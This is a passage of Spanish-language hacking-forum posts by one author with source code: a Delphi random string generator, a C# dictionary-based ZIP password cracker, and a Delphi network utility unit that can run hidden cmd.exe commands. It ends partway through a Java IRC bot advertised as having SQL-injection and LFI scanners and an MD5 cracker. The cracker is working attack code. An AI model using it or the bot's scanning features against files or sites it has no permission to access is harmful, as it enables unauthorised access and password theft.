    gbStrings: TGroupBox;
    txtString1: TEdit;
    btnGen1: TButton;
    btnCopy1: TButton;
    txtString2: TEdit;
    txtString3: TEdit;
    btnGen2: TButton;
    btnCopy2: TButton;
    btnGen3: TButton;
    btnCopy3: TButton;
    txtString4: TEdit;
    btnGen4: TButton;
    btnCopy4: TButton;
    txtString5: TEdit;
    btnGen5: TButton;
    btnCopy5: TButton;
    txtString6: TEdit;
    btnGen6: TButton;
    btnCopy6: TButton;
    txtString7: TEdit;
    btnGen7: TButton;
    btnCopy7: TButton;
    txtString8: TEdit;
    btnGen8: TButton;
    btnCopy8: TButton;
    txtString9: TEdit;
    btnGen9: TButton;
    btnCopy9: TButton;
    txtString10: TEdit;
    btnGen10: TButton;
    btnCopy10: TButton;
    gbEnterLength: TGroupBox;
    gbOptions: TGroupBox;
    btnAutomatic: TButton;
    btnAbout: TButton;
    btnExit: TButton;
    txtLength: TEdit;
    udLength: TUpDown;
    automatic_string: TTimer;
    ilIconos: TImageList;
    procedure btnGen1Click(Sender: TObject);
    procedure btnGen2Click(Sender: TObject);
    procedure btnGen3Click(Sender: TObject);
    procedure btnGen4Click(Sender: TObject);
    procedure btnGen5Click(Sender: TObject);
    procedure btnGen6Click(Sender: TObject);
    procedure btnGen7Click(Sender: TObject);
    procedure btnGen8Click(Sender: TObject);
    procedure btnGen9Click(Sender: TObject);
    procedure btnGen10Click(Sender: TObject);
    procedure btnCopy1Click(Sender: TObject);
    procedure btnCopy2Click(Sender: TObject);
    procedure btnCopy3Click(Sender: TObject);
    procedure btnCopy4Click(Sender: TObject);
    procedure btnCopy5Click(Sender: TObject);
    procedure btnCopy6Click(Sender: TObject);
    procedure btnCopy7Click(Sender: TObject);
    procedure btnCopy8Click(Sender: TObject);
    procedure btnCopy9Click(Sender: TObject);
    procedure btnCopy10Click(Sender: TObject);
    procedure automatic_stringTimer(Sender: TObject);
    procedure btnAutomaticClick(Sender: TObject);
    procedure btnAboutClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function dh_generate_string(option: string; length_string: integer): string;
const
  letters1: array [1 .. 26] of string = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
    'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
    'x', 'y', 'z');
const
  letters2: array [1 .. 26] of string = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
    'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
    'X', 'Y', 'Z');
const
  numbers: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7',
    '8', '9');

const
  cyrillic: array [1 .. 44] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?');

const
  no_idea1: array [1 .. 13] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?');

const
  no_idea2: array [1 .. 28] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '??', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '??');

const
  no_idea3: array [1 .. 13] of string = ('??', '?', '?', '?', '?', '?', '?',
    '_', '?', '`', '?', '_', '?');

const
  no_idea4: array [1 .. 26] of string = ('?', '?', '€', '?', 'l', '?', '™', 'O',
    'e', '?', '?', '?', '?', '?', '?', '?', '?', '-', '/', '·', 'v', '8', '?',
    '˜', '?', '=');

const
  no_idea5: array [1 .. 33] of string = ('?', '?', '?', '?', 'n', '?', '?', '?',
    '?', '?', '?', 'G', '?', '?', '?', 'e', 'ß', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '8', 'S', '?');

const
  no_idea6: array [1 .. 32] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
    '?', '?', '?', '?', '?', '?', '?', '?', '?');
var
  code: string;
  gen_now: string;
  i: integer;
  index: integer;
begin

  gen_now := '';

  for i := 1 to length_string do
  begin
    if (option = '1') then
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end
    else if (option = '2') then
    begin
      gen_now := gen_now + letters2[RandomRange(1, Length(letters2) + 1)];
    end
    else if (option = '3') then
    begin
      gen_now := gen_now + numbers[RandomRange(1, Length(numbers) + 1)];
    end
    else if (option = '4') then
    begin
      gen_now := gen_now + cyrillic[RandomRange(1, Length(cyrillic) + 1)];
    end
    else if (option = '5') then
    begin
      gen_now := gen_now + no_idea1[RandomRange(1, Length(no_idea1) + 1)];
    end
    else if (option = '6') then
    begin
      gen_now := gen_now + no_idea2[RandomRange(1, Length(no_idea2) + 1)];
    end
    else if (option = '7') then
    begin
      gen_now := gen_now + no_idea3[RandomRange(1, Length(no_idea3) + 1)];
    end
    else if (option = '8') then
    begin
      gen_now := gen_now + no_idea4[RandomRange(1, Length(no_idea4) + 1)];
    end
    else if (option = '9') then
    begin
      gen_now := gen_now + no_idea5[RandomRange(1, Length(no_idea5) + 1)];
    end
    else if (option = '10') then
    begin
      gen_now := gen_now + no_idea6[RandomRange(1, Length(no_idea6) + 1)];
    end
    else
    begin
      gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
    end;
  end;
  code := gen_now;

  Result := code;
end;

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

//

procedure TFormHome.btnGen1Click(Sender: TObject);
begin
  txtString1.Text := dh_generate_string('1', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen2Click(Sender: TObject);
begin
  txtString2.Text := dh_generate_string('2', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen3Click(Sender: TObject);
begin
  txtString3.Text := dh_generate_string('3', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen4Click(Sender: TObject);
begin
  txtString4.Text := dh_generate_string('4', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen5Click(Sender: TObject);
begin
  txtString5.Text := dh_generate_string('5', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen6Click(Sender: TObject);
begin
  txtString6.Text := dh_generate_string('6', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen7Click(Sender: TObject);
begin
  txtString7.Text := dh_generate_string('7', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen8Click(Sender: TObject);
begin
  txtString8.Text := dh_generate_string('8', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen9Click(Sender: TObject);
begin
  txtString9.Text := dh_generate_string('9', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnGen10Click(Sender: TObject);
begin
  txtString10.Text := dh_generate_string('10', StrToInt(txtLength.Text));
end;

procedure TFormHome.btnCopy1Click(Sender: TObject);
begin
  if not(txtString1.Text = '') then
  begin
    txtString1.SelectAll;
    txtString1.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy2Click(Sender: TObject);
begin
  if not(txtString2.Text = '') then
  begin
    txtString2.SelectAll;
    txtString2.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy3Click(Sender: TObject);
begin
  if not(txtString3.Text = '') then
  begin
    txtString3.SelectAll;
    txtString3.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy4Click(Sender: TObject);
begin
  if not(txtString4.Text = '') then
  begin
    txtString4.SelectAll;
    txtString4.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy5Click(Sender: TObject);
begin
  if not(txtString5.Text = '') then
  begin
    txtString5.SelectAll;
    txtString5.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy6Click(Sender: TObject);
begin
  if not(txtString6.Text = '') then
  begin
    txtString6.SelectAll;
    txtString6.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy7Click(Sender: TObject);
begin
  if not(txtString7.Text = '') then
  begin
    txtString7.SelectAll;
    txtString7.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy8Click(Sender: TObject);
begin
  if not(txtString8.Text = '') then
  begin
    txtString8.SelectAll;
    txtString8.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy9Click(Sender: TObject);
begin
  if not(txtString9.Text = '') then
  begin
    txtString9.SelectAll;
    txtString9.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnCopy10Click(Sender: TObject);
begin
  if not(txtString10.Text = '') then
  begin
    txtString10.SelectAll;
    txtString10.CopyToClipboard;
    message_box('DH String Generator 0.3', 'String copied to the clipboard',
      'Information');
  end
  else
  begin
    message_box('DH String Generator 0.3', 'String is empty', 'Warning');
  end;
end;

procedure TFormHome.btnAboutClick(Sender: TObject);
begin
  FormAbout.frmAbout.Show();
end;

procedure TFormHome.btnAutomaticClick(Sender: TObject);
begin
  if (automatic_string.Enabled = False) then
  begin
    btnAutomatic.Caption := 'Disable Automatic Generate';
    automatic_string.Enabled := True;
  end
  else
  begin
    btnAutomatic.Caption := 'Enable Automatic Generate';
    automatic_string.Enabled := False;
  end;
end;

procedure TFormHome.automatic_stringTimer(Sender: TObject);
begin
  txtString1.Text := dh_generate_string('1', StrToInt(txtLength.Text));
  txtString2.Text := dh_generate_string('2', StrToInt(txtLength.Text));
  txtString3.Text := dh_generate_string('3', StrToInt(txtLength.Text));
  txtString4.Text := dh_generate_string('4', StrToInt(txtLength.Text));
  txtString5.Text := dh_generate_string('5', StrToInt(txtLength.Text));
  txtString6.Text := dh_generate_string('6', StrToInt(txtLength.Text));
  txtString7.Text := dh_generate_string('7', StrToInt(txtLength.Text));
  txtString8.Text := dh_generate_string('8', StrToInt(txtLength.Text));
  txtString9.Text := dh_generate_string('9', StrToInt(txtLength.Text));
  txtString10.Text := dh_generate_string('10', StrToInt(txtLength.Text));
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#35
C# - VB.NET / [C#] ZIP Cracker 0.2
Mayo 27, 2016, 10:43:59 PM
Un simple programa en C# para buscar el password de un comprimido ZIP usando un diccionario.

El codigo :

Código: csharp

// ZIP Cracker 0.2
// (C) Doddy Hackman 2015

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Ionic.Zip;
using System.IO;

namespace ZIP_Cracker
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        public bool check_password(string filename, string password)
        {
            try
            {
                using (ZipFile zip = ZipFile.Read(filename))
                {
                    zip.Password = password;
                    var stream = new MemoryStream();

                    foreach (ZipEntry z in zip)
                    {
                        z.Extract(stream);
                    }
                    return true;
                }
            }
            catch
            {
                return false;
            }
        }

        private void exit_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void load_Click(object sender, EventArgs e)
        {
            open.InitialDirectory = Directory.GetCurrentDirectory();
            open.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
            open.Title = "Select File";
            if (open.ShowDialog() == DialogResult.OK)
            {
                wordlist.Text = open.FileName;
            }
        }

        private void crack_Click(object sender, EventArgs e)
        {
            string zip_file = archivo_zip.Text;
            string wordlist_file = wordlist.Text;
            string password;

            console.Clear();

            if (File.Exists(zip_file) && File.Exists(wordlist_file))
            {
                console.AppendText("[+] Cracking ...\n\n");
                System.IO.StreamReader leyendo = new System.IO.StreamReader(wordlist_file);
                while ((password = leyendo.ReadLine()) != null)
                {
                    if (check_password(zip_file,password))
                    {
                        console.AppendText("[+] Password Found : " + password+"\n");
                        break;
                    }
                    else
                    {
                        console.AppendText("[-] Password : "+password+" FAIL"+"\n");
                    }
                }

                leyendo.Close();

                console.AppendText("\n[+] Finished");
            }
            else
            {
                console.AppendText("[-] File not found");
            }
        }

        private void load_zip_Click(object sender, EventArgs e)
        {
            open.InitialDirectory = Directory.GetCurrentDirectory();
            open.Filter = "zip files (*.zip)|*.zip|All files (*.*)|*.*";
            open.Title = "Select ZIP";
            if (open.ShowDialog() == DialogResult.OK)
            {
                archivo_zip.Text = open.FileName;
            }
        }

    }
}

// The End ?


Una imagen :



Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#36
Delphi / [Delphi] Unit DH Tools 0.2
Mayo 14, 2016, 01:45:08 PM
Hola les traigo una Unit en Delphi , se llama DH_Tools y tiene las siguientes funciones :

  • Realizar una peticion GET a una pagina y capturar la respuesta
  • Realizar una peticion POST a una pagina y capturar la respuesta
  • Crear o escribir en un archivo
  • Leer un archivo
  • Ejecutar comandos y recibir la respuesta
  • HTTP FingerPrinting
  • Recibir el codigo de respuesta HTTP de una pagina
  • Limpiar repetidos en un array
  • Limpiar URL en un array a partir de la "query"
  • Split casero xD
  • Descargar archivos de internet
  • Capturar el nombre del archivo de una URL
  • URI Split
  • MD5 Encode
  • Capturar el MD5 de un archivo
  • Resolve IP

    El codigo :

    Código: delphi

    // Unit : DH Tools
    // Version : 0.2
    // (C) Doddy Hackman 2015

    unit DH_Tools;

    interface

    uses SysUtils, Windows, WinInet, Classes, IdHTTP, Generics.Collections, URLMon,
      IdURI, IdHashMessageDigest, WinSock;

    function toma(const pagina: string): UTF8String;
    function tomar(pagina: string; postdata: AnsiString): string;
    procedure savefile(filename, texto: string);
    function read_file(const archivo: TFileName): String;
    function console(cmd: string): string;
    function http_finger(page: string): string;
    function response_code(page: string): string;
    function clean_list(const list: TList<String>): TList<String>;
    function cut_list(const list: TList<String>): TList<String>;
    function regex(text: String; deaca: String; hastaaca: String): String;
    function download_file(page, save: string): bool;
    function get_url_file(Url: string): string;
    function uri_split(Url, opcion: string): string;
    function md5_encode(text: string): string;
    function md5_file(const filename: string): string;
    function resolve_ip(const target: string): string;

    implementation

    function toma(const pagina: string): UTF8String;

    // Credits : Based on http://www.scalabium.com/faq/dct0080.htm
    // Thanks to www.scalabium.com

    var
      nave1: HINTERNET;
      nave2: HINTERNET;
      tou: DWORD;
      codez: UTF8String;
      codee: array [0 .. 1023] of byte;
      finalfinal: string;

    begin

      try

        begin

          finalfinal := '';
          Result := '';

          nave1 := InternetOpen
            ('Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
            INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

          nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
            INTERNET_FLAG_RELOAD, 0);

          repeat

          begin
            InternetReadFile(nave2, @codee, SizeOf(codee), tou);
            SetString(codez, PAnsiChar(@codee[0]), tou);
            finalfinal := finalfinal + codez;
          end;

          until tou = 0;

          InternetCloseHandle(nave2);
          InternetCloseHandle(nave1);

          Result := finalfinal;
        end;

      except
        //
      end;
    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function tomar(pagina: string; postdata: AnsiString): string;

    // Credits : Based on  : http://tulisanlain.blogspot.com.ar/2012/10/how-to-send-http-post-request-in-delphi.html
    // Thanks to Tulisan Lain

    const
      accept: packed array [0 .. 1] of LPWSTR = (PChar('*/*'), nil);

    var
      nave3: HINTERNET;
      nave4: HINTERNET;
      nave5: HINTERNET;
      todod: array [0 .. 1023] of AnsiChar;
      numberz: Cardinal;
      numberzzz: Cardinal;
      finalfinalfinalfinal: string;

    begin

      try

        begin

          finalfinalfinalfinal := '';
          Result := '';

          nave3 := InternetOpen
            (PChar('Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'),
            INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

          nave4 := InternetConnect(nave3, PChar(regex(pagina, '://', '/')),
            INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 1);

          nave5 := HttpOpenRequest(nave4, PChar('POST'), PChar(get_url_file(pagina)
            ), nil, nil, @accept, 0, 1);

          HttpSendRequest(nave5,
            PChar('Content-Type: application/x-www-form-urlencoded'),
            Length('Content-Type: application/x-www-form-urlencoded'),
            PChar(postdata), Length(postdata));

          repeat

          begin

            InternetReadFile(nave5, @todod, SizeOf(todod), numberzzz);

            if numberzzz = SizeOf(todod) then
            begin
              Result := Result + AnsiString(todod);
            end;
            if numberzzz > 0 then
              for numberz := 0 to numberzzz - 1 do
              begin
                finalfinalfinalfinal := finalfinalfinalfinal + todod[numberz];
              end;

          end;

          until numberzzz = 0;

          InternetCloseHandle(nave3);
          InternetCloseHandle(nave4);
          InternetCloseHandle(nave5);

          Result := finalfinalfinalfinal;

        end;

      except
        //
      end;
    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    function read_file(const archivo: TFileName): String;
    var
      lista: TStringList;
    begin

      if (FileExists(archivo)) then
      begin

        lista := TStringList.Create;
        lista.Loadfromfile(archivo);
        Result := lista.text;
        lista.Free;

      end;
    end;

    function console(cmd: string): string;
    // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
    // Thanks to www.delphidabbler.com

    var
      parte1: TSecurityAttributes;
      parte2: TStartupInfo;
      parte3: TProcessInformation;
      parte4: THandle;
      parte5: THandle;
      control2: Boolean;
      contez: array [0 .. 255] of AnsiChar;
      notengoidea: Cardinal;
      fix: Boolean;
      code: string;

    begin

      code := '';

      with parte1 do
      begin
        nLength := SizeOf(parte1);
        bInheritHandle := True;
        lpSecurityDescriptor := nil;
      end;

      CreatePipe(parte4, parte5, @parte1, 0);

      with parte2 do
      begin
        FillChar(parte2, SizeOf(parte2), 0);
        cb := SizeOf(parte2);
        dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
        wShowWindow := SW_HIDE;
        hStdInput := GetStdHandle(STD_INPUT_HANDLE);
        hStdOutput := parte5;
        hStdError := parte5;
      end;

      fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
        PChar('c:/'), parte2, parte3);

      CloseHandle(parte5);

      if fix then

        repeat

        begin
          control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
        end;

        if notengoidea > 0 then
        begin
          contez[notengoidea] := #0;
          code := code + contez;
        end;

        until not(control2) or (notengoidea = 0);

      Result := code;

    end;

    function http_finger(page: string): string;
    var
      nave: TIdHTTP;
      resultado: string;
    begin

      nave := TIdHTTP.Create(nil);
      nave.Request.UserAgent :=
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
      nave.Get(page);
      resultado := '[+] ' + nave.Response.ResponseText + sLineBreak + '[+] Date : '
        + DateTimeToStr(nave.Response.Date) + sLineBreak + '[+] Server : ' +
        nave.Response.Server + sLineBreak + '[+] Last-Modified : ' +
        DateTimeToStr(nave.Response.LastModified) + sLineBreak + '[+] ETag : ' +
        nave.Response.ETag + sLineBreak + '[+] Accept-Ranges : ' +
        nave.Response.AcceptRanges + sLineBreak + '[+] Content-Length : ' +
        IntToStr(nave.Response.ContentLength) + sLineBreak + '[+] Connection : ' +
        nave.Response.Connection + sLineBreak + '[+] Content-Type : ' +
        nave.Response.ContentType;
      Result := resultado;
    end;

    function response_code(page: string): string;
    var
      nave: TIdHTTP;
      code: string;
    begin
      nave := TIdHTTP.Create(nil);
      nave.Request.UserAgent :=
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
      try
        begin
          nave.Head(page);
          code := IntToStr(nave.ResponseCode);
        end;
      except
        begin
          code := '404';
        end;
      end;
      Result := code;
    end;

    function clean_list(const list: TList<String>): TList<String>;
    var
      lista: TList<String>;
      elemento: string;

    begin
      lista := TList<String>.Create;
      for elemento in list do
      begin
        if not lista.Contains(elemento) then
        begin
          lista.Add(elemento);
        end;
      end;
      Result := lista;
    end;

    function cut_list(const list: TList<String>): TList<String>;
    var
      lista: TList<String>;
      elemento: string;
      otralista: TStrings;
    begin
      lista := TList<String>.Create;
      for elemento in list do
      begin
        if (Pos('=', elemento) > 0) then
        begin
          otralista := TStringList.Create;
          ExtractStrings(['='], [], PChar(elemento), otralista);
          lista.Add(otralista[0] + '=');
        end;
      end;
      Result := lista;
    end;

    function download_file(page, save: string): bool;
    begin
      UrlDownloadToFile(nil, PChar(page), PChar(save), 0, nil);
      if FileExists(save) then
      begin
        Result := True;
      end
      else
      begin
        Result := False;
      end;
    end;

    function get_url_file(Url: string): string;
    var
      URI: TIdURI;
    begin
      URI := TIdURI.Create(Url);
      Result := URI.Document;
    end;

    function uri_split(Url, opcion: string): string;
    var
      URI: TIdURI;
    begin
      URI := TIdURI.Create(Url);
      if opcion = 'host' then
      begin
        Result := URI.Host;
      end;
      if opcion = 'port' then
      begin
        Result := URI.Port;
      end;
      if opcion = 'path' then
      begin
        Result := URI.Path;
      end;
      if opcion = 'file' then
      begin
        Result := URI.Document;
      end;
      if opcion = 'query' then
      begin
        Result := URI.Params;
      end;
      if opcion = '' then
      begin
        Result := 'Error';
      end;
    end;

    function md5_encode(text: string): string;
    var
      md5: TIdHashMessageDigest5;
    begin
      md5 := TIdHashMessageDigest5.Create;
      Result := LowerCase(md5.HashStringAsHex(text));
    end;

    function md5_file(const filename: string): string;
    var
      md5: TIdHashMessageDigest5;
      stream: TFileStream;
    begin
      if (FileExists(filename)) then
      begin
        md5 := TIdHashMessageDigest5.Create;
        stream := TFileStream.Create(filename, fmOpenRead or fmShareDenyWrite);
        Result := LowerCase(md5.HashStreamAsHex(stream));
      end
      else
      begin
        Result := 'Error';
      end;
    end;

    function resolve_ip(const target: string): string;
    var
      socket: TWSAData;
      uno: PHostEnt;
      dos: TInAddr;
      ip: string;
    begin
      try
        begin
          WSAStartup($101, socket);
          uno := WinSock.GetHostByName(PAnsiChar(AnsiString(target)));
          dos := PInAddr(uno^.h_Addr_List^)^;
          ip := WinSock.inet_ntoa(dos);
          if ip = '' then
          begin
            Result := 'Error';
          end
          else
          begin
            Result := ip;
          end;
        end;
      except
        Result := 'Error';
      end;
    end;

    end.

    // The End ?


    Ejemplos de uso :

    Código: delphi

    unit dh;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, DH_Tools,
      Generics.Collections;

    type
      TForm1 = class(TForm)
        Memo1: TMemo;
        Button1: TButton;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    var
      paginas: TList<String>;
      pagina: string;
      lista: TList<String>;
      code: string;
    begin

      // code := toma('http://localhost/login.php');
      // ShowMessage(code);

      // code := tomar('http://localhost/login.php','usuario=test&password=test&control=Login');
      // ShowMessage(code);

      // savefile('logs.txt','test');

      // code := read_file('logs.txt');
      // ShowMessage(code);

      // code := console('ver');
      // ShowMessage(code);

      // code := http_finger('http://www.petardas.com');
      // ShowMessage(code);

      // code := response_code('http://www.petardas.com');
      // ShowMessage(code);

      {
        paginas := TList<String>.Create;
        paginas.AddRange(['test1', 'test1', 'test3', 'test4', 'test5']);
        lista := clean_list(paginas);

        for pagina in lista do
        begin
        Memo1.Lines.Add('Value : ' + pagina);
        end;
      }

      {
        paginas := TList<String>.Create;
        paginas.AddRange(['http://localhost/sql1.php?id=dsadasad',
        'http://localhost/sql2.php?id=dsadasad',
        'http://localhost/sql3.php?id=dsadasad',
        'http://localhost/sql3.php?id=dsadasad']);
        lista := cut_list(clean_list(paginas));

        for pagina in lista do
        begin
        Memo1.Lines.Add('Value : ' + pagina);
        end;
      }

      {
        if (download_file('http://localhost/test.rar', 'test.rar')) then
        begin
        ShowMessage('Yeah');
        end
        else
        begin
        ShowMessage('Error');
        end;
      }

      // ShowMessage(get_url_file('http://localhost/sql.php?id=dsadsadsa'));

      // ShowMessage(uri_split('http://localhost/sql.php?id=dsadsadd','query'));

      // ShowMessage(md5_encode('123'));

      // ShowMessage(md5_file('c:/xampp/xampp-control.exe'));

      // ShowMessage(resolve_ip('www.petardas.com'));

    end;

    end.


    Eso seria todo.
#37
Java / [Java] Whois Manager 0.2
Abril 30, 2016, 12:28:15 PM
Un simple programa en Java para hacer un Whois.

Una imagen :



Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#38
Java / [Java] ClapTrap IRC Bot 0.5
Abril 15, 2016, 04:26:35 PM
Traduccion a Java de mi IRC Bot , tiene las siguientes opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII 

    Unas imagenes :





    El codigo :

    Código: java

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2015
    package claptrap.irc.bot;

    import java.io.IOException;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    import java.io.*;
    import java.net.*;
    import java.util.Scanner;
    import java.util.logging.Level;
    import java.util.logging.Logger;

    /**
    *
    * @author Doddy
    */
    public class ClapTrapIRCBot {

        /**
         * @param args the command line arguments
         */
        public static String servidor;
        public static int puerto;
        public static String nick;
        public static String admin;

        public static String canal;
        public static int tiempo;

        public static Socket conexion;
        public static BufferedWriter escribir;
        public static BufferedReader leer;

        public static void responder(String contenido) {
            try {
                String[] textos = contenido.split("\n");
                for (String texto : textos) {
                    if (!"".equals(texto)) {
                        escribir.write("PRIVMSG " + admin + " : " + texto + "\r\n");
                        escribir.flush();
                        try {
                            Thread.sleep(tiempo * 1000);
                        } catch (InterruptedException ex) {
                            Logger.getLogger(ClapTrapIRCBot.class.getName()).log(Level.SEVERE, null, ex);
                        }
                    }
                }
            } catch (IOException e) {
                //
            }
        }

        public static void main(String[] args) {

            Scanner input = new Scanner(System.in);

            System.out.println("\n-- == ClapTrap IRC Bot 0.5 == --\n\n");
            System.out.println("[+] Hostname : ");
            String hostname_value = input.nextLine();
            System.out.println("\n[+] Port : ");
            Integer port_value = Integer.parseInt(input.nextLine());
            System.out.println("\n[+] Channel : ");
            String channel_value = input.nextLine();
            System.out.println("\n[+] Nickname Admin : ");
            String admin_value = input.nextLine();

            servidor = hostname_value;
            puerto = port_value;
            nick = "ClapTrap";
            admin = admin_value;
            canal = channel_value;
            tiempo = 3;

            try {

                conexion = new Socket(servidor, puerto);
                escribir = new BufferedWriter(
                        new OutputStreamWriter(conexion.getOutputStream()));
                leer = new BufferedReader(
                        new InputStreamReader(conexion.getInputStream()));

                escribir.write("NICK " + nick + "\r\n");
                escribir.write("USER " + nick + " 1 1 1 1\r\n");
                escribir.flush();

                String contenido = null;

                escribir.write("JOIN " + canal + "\r\n");
                escribir.flush();

                System.out.println("\n[+] Online");

                funciones funcion = new funciones();

                while ((contenido = leer.readLine()) != null) {

